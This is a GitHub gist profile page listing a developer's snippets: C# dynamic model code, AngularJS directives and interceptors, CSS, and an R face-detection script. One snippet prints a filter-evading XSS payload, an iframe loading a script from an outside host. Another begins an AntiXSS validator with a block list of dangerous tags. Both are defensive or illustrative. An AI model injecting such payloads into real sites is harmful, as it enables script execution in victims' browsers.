Skip to content

Instantly share code, notes, and snippets.

View kkurni's full-sized avatar

Kurniawan Kurniawan kkurni

  • Microsoft
  • Redmond
View GitHub Profile
@kkurni
kkurni / DynamicModel
Last active January 1, 2016 23:09
This is Dynamic custom model t which useful to create object graph where you want your object to be very flexible such as in razor template use cases
public class DynamicModel : DynamicObject
{
private readonly bool _isStrictGet;
public IDictionary<string, object> _dict;
public DynamicModel(string objectName = null, IDictionary<string, object> dict = null, bool isStrictGet = false)
{
ObjectName = objectName;
_dict = dict ?? new Dictionary<string, object>();
_isStrictGet = isStrictGet;
@kkurni
kkurni / DynamicModelMapper
Last active January 1, 2016 19:48
Dynamic Model mapper will convert dictionary<string,string> into proper object, it is very useful for razor engine. for example you can define Model.Parent.Child as a key and you can parse it to your favourite razor engine
public DynamicModel Convert(Dictionary<string, string> dictionary, bool isStrictGet)
{
var customDynamicObject = new DynamicModel(isStrictGet: isStrictGet);
foreach (var key in dictionary.Keys)
{
AddValueToExpandoRecursive(customDynamicObject, key, dictionary[key], isStrictGet);
}
return customDynamicObject;
@kkurni
kkurni / xss-attack-double-open-brackets.html
Created October 18, 2013 04:28
example of double open brackets xss attacks
//Double open angle brackets
//Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape //Gecko rendering. Without it, Firefox will work but Netscape won't:
<iframe src=http://ha.ckers.org/scriptlet.html <
@kkurni
kkurni / AntiXSSValidator.cs
Last active December 25, 2015 20:39
AntiXSS validator for public API. This will allow special characters but will block XSS attacks. allow < ; | () but block any attacks from these list https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
using Microsoft.VisualStudio.TestTools.UnitTesting;
using SEEK.Employment.Profile.API.Validation;
public class AntiXssValidator : IAntiXssValidator
{
public static string[] XSSTagStringsForDoubleOpening = {"iframe",
"script",
"style",
"input"
@kkurni
kkurni / angular.placeholder.js
Last active December 25, 2015 18:09
Angular Placeholder for IE8/9 Support which compatible with validation attribute (e.g required)
MyApp.directive('placeholder', function($timeout) {
return {
restrict: 'A',
require: 'ngModel',
link: function(scope, element, attr, ctrl) {
//check whether it support placeholder and cache it
scope.supportsPlaceholders = scope.supportsPlaceholders || function() {
return "placeholder" in document.createElement("input");
};
* {
padding: 0;
margin: 0;
}
body {
font-size: 14px;
font-family: Georgia, "Bitstream Charter", serif;
color: #333333;
text-align: center;
@kkurni
kkurni / facedetection.R
Created October 2, 2013 05:11
R Script for face detection
library(reshape2)
library(foreach)
memory.limit(1000000)
# parameters
data.dir <- 'C:/Projects/KK/BigData/FacebookFaceDetection/data/'
patch_size <- 10
search_size <- 2
@kkurni
kkurni / httpLoadingInterceptor
Last active December 13, 2015 18:49
AngularJS Loading interceptor example
KK.factory('httploadingInterceptor',['$q','$rootScope', function ($q, $rootScope) {
return function (promise) {
$rootScope.loading = true;
return promise.then(function (response) {
// hide the spinner
$rootScope.loading = false;
return response;
@kkurni
kkurni / InjectHtmlService.js
Created January 30, 2013 07:37
Inject HTML Service Example with Authorization
'use strict';
SEEK.factory('InjectHtmlService', ['mobileRoot', '$http', 'TokenHandler', function (mobileRoot, $http, tokenHandler) {
var resource = {};
resource.injectHtml = function (url, success, error) {
$(document).on('submit', 'form', function () {
//add site
submitPost(mobileRoot + $(this).attr('action'));
@kkurni
kkurni / TokenHandler.js
Last active December 11, 2015 21:28
Angular JS Factory for Token Handler which inject authorization header request. This must use in combination with my custom resource which modified based on 1.1.2 - https://gist.github.com/4662478
KK.factory('TokenHandler', ['$cookieStore', function ($cookieStore) {
var tokenHandler = {};
tokenHandler.setToken = function (newToken) {
$cookieStore.put("X-Authorization-Token", newToken);
console.log('set token ' + newToken);
};
tokenHandler.getToken = function () {
console.log('get cookie ' + $cookieStore.get("X-Authorization-Token"));